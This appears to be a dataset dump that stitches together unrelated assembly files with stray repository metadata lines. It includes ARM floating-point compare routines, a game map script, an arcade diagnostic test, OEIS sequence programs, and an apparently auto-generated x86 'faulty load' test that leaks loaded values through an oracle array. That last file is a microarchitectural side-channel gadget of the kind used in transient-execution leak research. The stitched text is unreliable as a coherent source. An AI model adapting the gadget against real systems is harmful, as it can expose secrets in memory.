EQ/NE/HI/HS/LO/LS: 10 / 14 / 13 / 16 ;============================================================================== MACRO CmpReturn $cc MOV a1, #0 MOV$cc a1, #1 ADD sp, sp, #LOC_SIZE IF Interworking :LOR: Thumbing LDMFD sp!, {lr} BX lr ELSE LDMFD sp!, {pc} ENDIF MEND MACRO $lab DoubleCompare $cc, $NaN_lab ASSERT "$cc"="LO":LOR:"$cc"="LS":LOR:"$cc"="HS":LOR:"$cc"="HI":LOR:"$cc"="EQ":LOR:"$cc"="NE" NESTED_ENTRY $lab EnterWithLR_16 STMFD sp!, {lr} ; Save return address SUB sp, sp, #LOC_SIZE ; Allocate local storage PROLOG_END ORRS tmp, dOP1h, dOP2h BMI $lab._negative ; one of the operands negative? (MI) CMN tmp, #0x00100000 ; check whether operands might be infinite/NaN BMI $lab._check_NaN_pos CMP dOP1h, dOP2h CMPEQ dOP1l, dOP2l CmpReturn $cc $lab._check_NaN_pos ; opnd1/2 might be inf/NaNs - do more accurate check CMN dOP1h, #0x00100000 ; overhead 4 cycles for false hit CMNPL dOP2h, #0x00100000 BMI $lab._Inf_or_NaN $lab._cmp_pos CMP dOP1h, dOP2h CMPEQ dOP1l, dOP2l CmpReturn $cc $lab._negative CMN tmp, #0x00100000 BPL $lab._check_NaN_neg ; check whether operands might be infinite/NaN ORRS tmp, dOP1l, dOP1h, LSL #1 ; check for -0 == 0 ORREQS tmp, dOP2l, dOP2h, LSL #1 CMPNE dOP2h, dOP1h CMPEQ dOP2l, dOP1l CmpReturn $cc $lab._check_NaN_neg ; opnd1/2 might be inf/NaNs - do more accurate check MOV tmp, #0x00200000 ; overhead 3 cycles for false hit CMN tmp, dOP1h, LSL #1 CMNCC tmp, dOP2h, LSL #1 BCS $lab._Inf_or_NaN $lab._cmp_neg ; -0 == 0 test omitted (cannot give a false hit) CMP dOP2h, dOP1h CMPEQ dOP2l, dOP1l CmpReturn $cc $lab._Inf_or_NaN ; one of the operands is infinite or NaN MOV tmp, #0x00200000 CMN tmp, dOP1h, LSL #1 CMPEQ dOP1l, #0 ; HI -> NaN found CMNLS tmp, dOP2h, LSL #1 ; no NaN, check opnd2 CMPEQ dOP2l, #0 BHI $NaN_lab ; NaN found -> exception ORRS tmp, dOP1h, dOP2h BPL $lab._cmp_pos B $lab._cmp_neg MEND ;============================================================================== ;Invalid Operation checking (NaNs on compares) ;; IMPORT FPE_Raise ;; ;; NANs on compares <, >, <=, and >= ;; ;; SNANs and QNANs both raise the invalid operation exception, so we don't ;; care which kind of NAN we get. This is because if we get an SNAN or SNANs, ;; we raise the invalid operation exception. If we get a QNAN or QNANs, we ;; have an unordered compare and must also raise the invalid operation ;; exception. ;; ;; Register usage on entry: ;; r0 - Arg1.low ;; r1 - Arg1.high ;; r2 - Arg2.low ;; r3 - Arg2.high ;; r14 - available for scratch ;; All others have normal usage semantics. ;; MACRO $l DCmpNaN $Filter_lab $l STR r2, [sp, #ExOp2l] ;; Push Arg2.low STR r3, [sp, #ExOp2h] ;; Push Arg2.high MOV r3, #_FpCompareUnordered ;; Load default result STR r3, [sp, #ExDResl] ;; Push default result MOV r3, r1 ;; Arg1.high MOV r2, r0 ;; Arg1.low MOV r1, #_FpCmpD ;; ExInfo: InvalidOp, double compare ORR r1, r1, #IVO_bit ;; .. ADD r0, sp, #NewResl ;; Pointer to result CALL FPE_Raise ;; Deal with exception information IF Thumbing :LAND: :LNOT: Interworking CODE16 bx pc ; switch back to ARM mode nop CODE32 ENDIF LDR r0, [sp, #NewResl] ;; Load return value ADD sp, sp, #LOC_SIZE ;; Restore stack ;; ;; Register usage: ;; ;; r0 - Result from exception handler ;; ;; We must now examine the result from the exception handler and change it ;; to TRUE or FALSE, depending on the operation. After changing the result, ;; we return to the caller of the FP double compare routine. ;; B $Filter_lab MEND ;; ;; NANs on compares == and != ;; ;; SNANs and QNANs are treated differently for == and !=. If we get an SNAN ;; or SNANs, we must raise the invalid operation exception. If we only have ;; a QNAN or QNANs, then we simply return false and true for == and !=, ;; respectively. Unordered comparisions for == and != do not raise the ;; invalid operation exception. ;; ;; Register usage on entry: ;; r0 - Arg1.low ;; r1 - Arg1.high ;; r2 - Arg2.low ;; r3 - Arg2.high ;; r14 - available for scratch ;; All others have normal usage semantics. ;; MACRO $l DCmpSNaN $Filter_lab $l MOV r12, #0x7F0 ;; r12 = Max exponent = 0x7FF ORR r12, r12, #0x00F ;; ... MOV r14, r1, LSL #1 ;; Extract exponent from Arg1 MOV r14, r14, LSR #21 ;; ... CMP r14, r12 ;; Arg1.exponent == 0x7FF? BNE $l.checkArg2 ;; Arg1 not a NaN so check Arg2 MOV r14, r1, LSL #14 ;; r14 = Arg1.Mantissa.High ORRS r14, r14, r0 ;; Any Arg1.Mantissa bits set? BEQ $l.checkArg2 ;; Arg1 not a NaN so check Arg2 TST r1, #dSignalBit ;; Check if SNAN BEQ $l.SNaN ;; If high mant. bit clear, SNaN $l.checkArg2 MOV r14, r3, LSL #1 ;; Extract exponent from Arg2 MOV r14, r14, LSR #21 ;; ... CMP r14, r12 ;; Arg2.exponent == 0x7FF? BNE $l.cmpUnordered ;; Arg2 not a NaN so Arg1 is a QNaN MOV r14, r3, LSL #12 ;; r14 = Arg2.Mantissa.High ORRS r14, r14, r2 ;; Any Arg2.Mantissa bits set? BEQ $l.cmpUnordered ;; Arg2 not a NaN so Arg1 is a QNaN TST r3, #dSignalBit ;; Check if SNAN BEQ $l.SNaN ;; If high mant. bit clear, SNaN $l.cmpUnordered MOV r0, #_FpCompareUnordered ;; Have an unordered compare so B $Filter_lab ;; don't raise an exception $l.SNaN STR r2, [sp, #ExOp2l] ;; Push Arg2.low STR r3, [sp, #ExOp2h] ;; Push Arg2.high MOV r3, #_FpCompareUnordered ;; Load default result STR r3, [sp, #ExDResl] ;; Push default result MOV r3, r1 ;; Arg1.high MOV r2, r0 ;; Arg1.low MOV r1, #_FpCmpD ;; ExInfo: InvalidOp, double compare ORR r1, r1, #IVO_bit ;; .. ADD r0, sp, #NewResl ;; Pointer to result CALL FPE_Raise ;; Deal with exception information IF Thumbing :LAND: :LNOT: Interworking CODE16 bx pc ; switch back to ARM mode nop CODE32 ENDIF LDR r0, [sp, #NewResl] ;; Load return value ;; ;; Register usage: ;; ;; r0 - Result from exception handler ;; ;; We must now examine the result from the exception handler and change it ;; to TRUE or FALSE, depending on the operation. After changing the result, ;; we return to the caller of the FP double compare routine. ;; B $Filter_lab MEND ;============================================================================== ;Equality [ :DEF: eq_s Export __eqd AREA |.text|, CODE, READONLY __eqd DoubleCompare EQ, __eqd_NaN __eqd_NaN DCmpSNaN __eqd_Filter __eqd_Filter CMP r0, #_FpCompareEqual ;; Check if compared == MOVEQ r0, #1 ;; If did, return true MOVNE r0, #0 ;; else return false ADD sp, sp, #LOC_SIZE ;; Restore stack IF Interworking :LOR: Thumbing LDMIA sp!, {lr} ;; Return BX lr ELSE LDMIA sp!, {pc} ;; Return ENDIF ENTRY_END __eqd ] ;============================================================================== ;Inequality [ :DEF: neq_s Export __ned AREA |.text|, CODE, READONLY __ned DoubleCompare NE, __ned_NaN __ned_NaN DCmpSNaN __ned_Filter __ned_Filter CMP r0, #_FpCompareEqual ;; Check if compared == MOVEQ r0, #0 ;; If did, return false MOVNE r0, #1 ;; else return true ADD sp, sp, #LOC_SIZE ;; Restore stack IF Interworking :LOR: Thumbing LDMIA sp!, {lr} ;; Return BX lr ELSE LDMIA sp!, {pc} ;; Return ENDIF ENTRY_END __ned ] ;============================================================================== ;Less Than [ :DEF: ls_s Export __ltd AREA |.text|, CODE, READONLY __ltd DoubleCompare LO, __ltd_NaN __ltd_NaN DCmpNaN __ltd_Filter __ltd_Filter CMP r0, #_FpCompareLess ;; Check if compared < MOVEQ r0, #1 ;; If did, return true MOVNE r0, #0 ;; else return false IF Interworking :LOR: Thumbing LDMIA sp!, {lr} ;; Return BX lr ELSE LDMIA sp!, {pc} ;; Return ENDIF ENTRY_END __ltd ] ;============================================================================== ;Less Than or Equal [ :DEF: leq_s Export __led AREA |.text|, CODE, READONLY __led DoubleCompare LS, __led_NaN __led_NaN DCmpNaN __led_Filter __led_Filter CMP r0, #_FpCompareLess ;; Check if compared < MOVEQ r0, #1 ;; If did, BEQ __led_Filter_end ;; return true CMP r0, #_FpCompareEqual ;; Check if compared == MOVEQ r0, #1 ;; If did, return true MOVNE r0, #0 ;; else return false __led_Filter_end IF Interworking :LOR: Thumbing LDMIA sp!, {lr} ;; Return BX lr ELSE LDMIA sp!, {pc} ;; Return ENDIF ENTRY_END __led ] ;============================================================================== ;Greater Than [ :DEF: gr_s Export __gtd AREA |.text|, CODE, READONLY __gtd DoubleCompare HI, __gtd_NaN __gtd_NaN DCmpNaN __gtd_Filter __gtd_Filter CMP r0, #_FpCompareGreater ;; Check if compared > MOVEQ r0, #1 ;; If did, return true MOVNE r0, #0 ;; else return false IF Interworking :LOR: Thumbing LDMIA sp!, {lr} ;; Return BX lr ELSE LDMIA sp!, {pc} ;; Return ENDIF ENTRY_END __gtd ] ;============================================================================== ;Greater Than or Equal [ :DEF: geq_s Export __ged AREA |.text|, CODE, READONLY __ged DoubleCompare HS, __ged_NaN __ged_NaN DCmpNaN __ged_Filter __ged_Filter CMP r0, #_FpCompareGreater ;; Check if compared > MOVEQ r0, #1 ;; If did, BEQ __ged_Filter_end ;; return true CMP r0, #_FpCompareEqual ;; Check if compared == MOVEQ r0, #1 ;; If did, return true MOVNE r0, #0 ;; else return false __ged_Filter_end IF Interworking :LOR: Thumbing LDMIA sp!, {lr} ;; Return BX lr ELSE LDMIA sp!, {pc} ;; Return ENDIF ENTRY_END __ged ] END
34.208413
100
0.488961
c73afbce4cbabf4ebb5833e4027ee9ace59a491d
1,410
asm
Assembly
savefile/maps/3D83_DesignersHouse.asm
stranck/fools2018-1
1c506b17343fcdfa708aafaf8e596153e2c63254
[ "MIT" ]
35
2018-04-01T06:55:28.000Z
2021-05-09T19:09:42.000Z
savefile/maps/3D83_DesignersHouse.asm
stranck/fools2018-1
1c506b17343fcdfa708aafaf8e596153e2c63254
[ "MIT" ]
4
2018-04-01T15:32:55.000Z
2019-02-23T20:46:49.000Z
savefile/maps/3D83_DesignersHouse.asm
stranck/fools2018-1
1c506b17343fcdfa708aafaf8e596153e2c63254
[ "MIT" ]
12
2018-04-01T15:48:09.000Z
2021-01-27T10:22:33.000Z
SECTION "Map_3D83", ROM0[$B800] Map_3D83_Header: hdr_tileset 8 hdr_dimensions 4, 4 hdr_pointers_a Map_3D83_Blocks, Map_3D83_TextPointers hdr_pointers_b Map_3D83_Script, Map_3D83_Objects hdr_pointers_c Map_3D83_InitScript, Map_3D83_RAMScript hdr_palette $06 hdr_music MUSIC_ROUTES3, AUDIO_1 hdr_connection NORTH, $0000, 0, 0 hdr_connection SOUTH, $0000, 0, 0 hdr_connection WEST, $0000, 0, 0 hdr_connection EAST, $0000, 0, 0 Map_3D83_Objects: hdr_border $0a hdr_warp_count 2 hdr_warp 3, 7, 3, 6, $3D20 hdr_warp 2, 7, 3, 6, $3D20 hdr_sign_count 0 hdr_object_count 1 hdr_object SPRITE_YOUNG_BOY, 2, 4, STAY, RIGHT, $01 Map_3D83_RAMScript: rs_end Map_3D83_Blocks: db $04,$0e,$05,$09 db $0f,$01,$02,$0f db $0f,$0c,$0d,$0f db $06,$0b,$0f,$07 Map_3D83_TextPointers: dw Map_3D83_TX1 Map_3D83_InitScript: ret Map_3D83_Script: ret Map_3D83_TX1: TX_ASM jp EnhancedTextOnly text "Hi, I'm Matthew!" next "The genius level designer!" para "Game design is my passion!" para "I created a great new map" next "for you to enjoy. Could you" cont "help me in beta testing?" para "Just go to the west from here," next "and you'll be impressed!" done
25.636364
64
0.624113
d20629afd1a4d905b51ee9d7220a4b68aedac303
3,817
asm
Assembly
scroll_tests.asm
jwestfall69/ddragon-diag
847c8cb4a447196eec895e7d608e412602c6fbc2
[ "Unlicense" ]
null
null
null
scroll_tests.asm
jwestfall69/ddragon-diag
847c8cb4a447196eec895e7d608e412602c6fbc2
[ "Unlicense" ]
null
null
null
scroll_tests.asm
jwestfall69/ddragon-diag
847c8cb4a447196eec895e7d608e412602c6fbc2
[ "Unlicense" ]
null
null
null
include "ddragon.inc" include "ddragon_diag.inc" include "error_codes.inc" include "macros.inc" global manual_scroll_tests global STR_SCROLL_TESTS section text g_scroll_x_offset equ g_local_vars_start g_scroll_y_offset equ g_local_vars_start+2 manual_scroll_tests: ldd #$0 std g_scroll_x_offset std g_scroll_y_offset jsr print_static_text jsr print_dynamic_text jsr setup_palette jsr setup_bg .loop_input: ; scrolling will be handled by raw input lda REG_P1_INPUT coma bita #RIGHT beq .right_not_pressed ldw g_scroll_x_offset decw stw g_scroll_x_offset .right_not_pressed: bita #LEFT beq .left_not_pressed ldw g_scroll_x_offset incw stw g_scroll_x_offset .left_not_pressed: bita #DOWN beq .down_not_pressed ldw g_scroll_y_offset decw stw g_scroll_y_offset .down_not_pressed: bita #UP beq .up_not_pressed ldw g_scroll_y_offset incw stw g_scroll_y_offset .up_not_pressed: jsr input_update lda g_extra_input_edge bita #P1_C_BUTTON beq .c_not_pressed ; cleanup and return to main menu lda #0 ldx #BG_RAM_START ldw #BG_RAM_SIZE JRU ram_fill rts .c_not_pressed: jsr scroll_update jsr print_dynamic_text ldw #$2ff JRU delay jmp .loop_input ; make the scrol values active, the upper bit ; need to goto REG_BANKSWITCh, and lower 8 bits ; goto REG_SCROLL(X|Y) scroll_update: ; start by figuring out scroll high bits ; needed on REG_BANKSWITCH ldd g_scroll_x_offset jsr scroll_num_wrap std g_scroll_x_offset andd #$100 tfr a,b exg d,w ldd g_scroll_y_offset jsr scroll_num_wrap std g_scroll_y_offset andd #$100 tfr a,b aslb orr b,f ; f should now contain the scroll x/y bits ; needed for REG_BANKSWITCH ldb #$8 ; start with mcu not halted/reset lda REG_DSW0 coma bita #$80 bne .skip_screen_flip_bit orb #$4 .skip_screen_flip_bit: orr b,f stf REG_BANKSWITCH ldd g_scroll_x_offset stb REG_SCROLL_X ldd g_scroll_y_offset stb REG_SCROLL_Y rts ; scroll values are only valid between 0 - 0x1ff ; this function deals with wrapping the values ; around ; d = scroll value scroll_num_wrap: bita #$80 beq .test_greater ldd #$1ff rts .test_greater: bita #$02 beq .no_change ldd #$0 .no_change: rts ; sets up a checker board pattern of bg tiles setup_bg: ldx #(BG_RAM_START - 2) lde #$40 ; 2nd bg palette, tile 1. tile doesn't ; matter here since we setting all colors ; in the palette the same ldd #$0801 .loop_next_row: ; this deal with the row offset ; so we get the checker board ; instead of bars leax 2,x exg x,d bitd #$4 beq .skip_adjust subd #4 .skip_adjust: exg x,d ldf #$8 .loop_next_address: std 0,x leax 4,x decf bne .loop_next_address dece bne .loop_next_row rts ; bg palettes start at palette 16. We will ; use the 17th since 16th seems to be the ; default background color. Will use magenta ; for the color. setup_palette: lde #16 ; 16 colors in the palette ldx #(PAL_RAM_START + (17 * PAL_SIZE)) ldy #(PAL_EXT_RAM_START + (17 * PAL_SIZE)) lda #$0F .loop_next_color: sta ,x+ sta ,y+ dece bne .loop_next_color rts print_static_text: FG_XY 10,4 ldy #STR_SCROLL_TESTS JRU fg_print_string FG_XY 2,12 ldy #STR_SCROLL_X JRU fg_print_string FG_XY 2,13 ldy #STR_SCROLL_Y JRU fg_print_string FG_XY 5,25 ldy #STR_JOY_SCROLL JRU fg_print_string FG_XY 5,26 ldy #STR_C_MAIN_MENU JRU fg_print_string rts print_dynamic_text: FG_XY 12,12 ldd g_scroll_x_offset JRU fg_print_hex_word FG_XY 12,13 ldd g_scroll_y_offset JRU fg_print_hex_word rts STR_SCROLL_TESTS: string "SCROLL TESTS" STR_SCROLL_X: string "SCROLL X" STR_SCROLL_Y: string "SCROLL Y" STR_JOY_SCROLL: string "JOY - SCROLL"
16.311966
48
0.728321
99335bf32ffbd874cd584c76ef2b8e303d0f3223
801
asm
Assembly
oeis/232/A232951.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/232/A232951.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/232/A232951.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A232951: Number of n X 4 0..3 arrays with no element x(i,j) adjacent to value 3-x(i,j) horizontally, diagonally or antidiagonally, and top left element zero. ; Submitted by Christian Krause ; 27,771,22971,685251,20442651,609853251,18193384251,542752261251,16191600916251,483034266181251,14410069980856251,429886928094781251,12824557492939156251,382587290147700781251,11413495916966327656251,340491941058251325781251,10157690752162708135156251,303028262859589987425781251,9040059432026886082097656251,269686641646508632525800781251,8045398952235124545363535156251,240013535358821193198277050781251,7160179066003460173221493847656251,213605304303309699230653430175781251 add $0,1 mov $2,1 lpb $0 sub $0,1 add $3,1 mov $1,$3 mul $1,24 add $2,$1 mul $3,5 add $3,$2 lpe mov $0,$2 add $0,2
44.5
478
0.826467
82dd90344c346c3053cd97e763e40eed9ddb2f47
305
asm
Assembly
programs/oeis/214/A214660.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/214/A214660.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/214/A214660.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A214660: 9*n^2 - 11*n + 3. ; 1,17,51,103,173,261,367,491,633,793,971,1167,1381,1613,1863,2131,2417,2721,3043,3383,3741,4117,4511,4923,5353,5801,6267,6751,7253,7773,8311,8867,9441,10033,10643,11271,11917,12581,13263,13963,14681,15417,16171,16943 mov $1,9 mul $1,$0 add $1,7 mul $1,$0 add $1,1 mov $0,$1
30.5
217
0.708197
7cbc6eba61771ae058d4facf2eb0816138a94119
1,057
asm
Assembly
programs/oeis/047/A047596.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/047/A047596.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/047/A047596.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A047596: Numbers that are congruent to {2, 3, 4, 5} mod 8. ; 2,3,4,5,10,11,12,13,18,19,20,21,26,27,28,29,34,35,36,37,42,43,44,45,50,51,52,53,58,59,60,61,66,67,68,69,74,75,76,77,82,83,84,85,90,91,92,93,98,99,100,101,106,107,108,109,114,115,116,117,122,123,124,125,130,131,132,133,138,139,140,141,146,147,148,149,154,155,156,157,162,163,164,165,170,171,172,173,178,179,180,181,186,187,188,189,194,195,196,197,202,203,204,205,210,211,212,213,218,219,220,221,226,227,228,229,234,235,236,237,242,243,244,245,250,251,252,253,258,259,260,261,266,267,268,269,274,275,276,277,282,283,284,285,290,291,292,293,298,299,300,301,306,307,308,309,314,315,316,317,322,323,324,325,330,331,332,333,338,339,340,341,346,347,348,349,354,355,356,357,362,363,364,365,370,371,372,373,378,379,380,381,386,387,388,389,394,395,396,397,402,403,404,405,410,411,412,413,418,419,420,421,426,427,428,429,434,435,436,437,442,443,444,445,450,451,452,453,458,459,460,461,466,467,468,469,474,475,476,477,482,483,484,485,490,491,492,493,498,499 mov $1,$0 div $0,4 mul $0,4 add $1,$0 add $1,2
117.444444
947
0.719962
f32ccb48e48809a934b473680c8a4e23dcaa45cf
379
asm
Assembly
programs/oeis/046/A046818.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/046/A046818.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/046/A046818.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A046818: Number of 1's in binary expansion of 3n+1. ; 1,1,3,2,3,1,3,3,3,3,5,2,3,2,4,4,3,3,5,4,5,1,3,3,3,3,5,3,4,3,5,5,3,3,5,4,5,3,5,5,5,5,7,2,3,2,4,4,3,3,5,4,5,2,4,4,4,4,6,4,5,4,6,6,3,3,5,4,5,3,5,5,5,5,7,4,5,4,6,6,5,5,7,6,7,1,3,3,3,3,5,3,4,3,5,5,3,3,5,4 mul $0,3 add $0,1 seq $0,120 ; 1's-counting sequence: number of 1's in binary expansion of n (or the binary weight of n).
54.142857
201
0.591029
5fc9fb9516eec6bcb16f6187baa351a49701b0e6
270
asm
Assembly
data/mapHeaders/rockethideout3.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
16
2018-08-28T21:47:01.000Z
2022-02-20T20:29:59.000Z
data/mapHeaders/rockethideout3.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
5
2019-04-03T19:53:11.000Z
2022-03-11T22:49:34.000Z
data/mapHeaders/rockethideout3.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
2
2019-12-09T19:46:02.000Z
2020-12-05T21:36:30.000Z
RocketHideout3_h: db FACILITY ; tileset db ROCKET_HIDEOUT_3_HEIGHT, ROCKET_HIDEOUT_3_WIDTH ; dimensions (y, x) dw RocketHideout3Blocks, RocketHideout3TextPointers, RocketHideout3Script ; blocks, texts, scripts db $00 ; connections dw RocketHideout3Object ; objects
38.571429
99
0.822222
1134966875006d1b3b09c766ecd7b59c7e038d70
6,337
asm
Assembly
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0.log_21829_960.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0.log_21829_960.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0.log_21829_960.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r8 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_normal_ht+0x6260, %rsi lea addresses_A_ht+0x15d30, %rdi nop nop nop sub %rbx, %rbx mov $0, %rcx rep movsw nop cmp $54288, %rbx lea addresses_D_ht+0x1c9b0, %r8 nop nop and %rbp, %rbp movb (%r8), %r13b nop nop nop xor $511, %rcx lea addresses_WT_ht+0x13030, %rcx nop nop nop nop nop xor $62265, %r13 movw $0x6162, (%rcx) xor $16724, %r13 lea addresses_D_ht+0x12c30, %rcx nop cmp $62551, %rbp mov $0x6162636465666768, %rsi movq %rsi, %xmm5 vmovups %ymm5, (%rcx) nop nop nop add $6049, %rsi lea addresses_D_ht+0x9d30, %rbx nop nop inc %rbp mov $0x6162636465666768, %rsi movq %rsi, %xmm2 movups %xmm2, (%rbx) nop nop and %rsi, %rsi lea addresses_A_ht+0x14e10, %rbx nop xor $32336, %rsi mov $0x6162636465666768, %rbp movq %rbp, %xmm7 movups %xmm7, (%rbx) and %rcx, %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r8 pop %r13 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r14 push %rbp push %rbx push %rdx push %rsi // Store mov $0x3930a40000000e30, %r14 nop and %rsi, %rsi movb $0x51, (%r14) nop sub %rbp, %rbp // Store lea addresses_normal+0x6b04, %r14 nop nop nop nop nop xor %rbp, %rbp movb $0x51, (%r14) and $23464, %rsi // Store lea addresses_RW+0x1bcf0, %r13 nop nop nop sub $2725, %r10 movb $0x51, (%r13) dec %rdx // Store lea addresses_US+0x10558, %rbx nop nop and $21483, %rsi mov $0x5152535455565758, %r14 movq %r14, (%rbx) nop nop inc %r14 // Faulty Load mov $0x3020f40000000830, %r13 nop nop nop nop nop sub %rbp, %rbp mov (%r13), %si lea oracles, %rbp and $0xff, %rsi shlq $12, %rsi mov (%rbp,%rsi,1), %rsi pop %rsi pop %rdx pop %rbx pop %rbp pop %r14 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': True, 'same': False, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_NC', 'AVXalign': False, 'size': 1}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_normal', 'AVXalign': False, 'size': 1}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_RW', 'AVXalign': False, 'size': 1}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_US', 'AVXalign': True, 'size': 8}} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 2, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_A_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16}} {'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 4, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 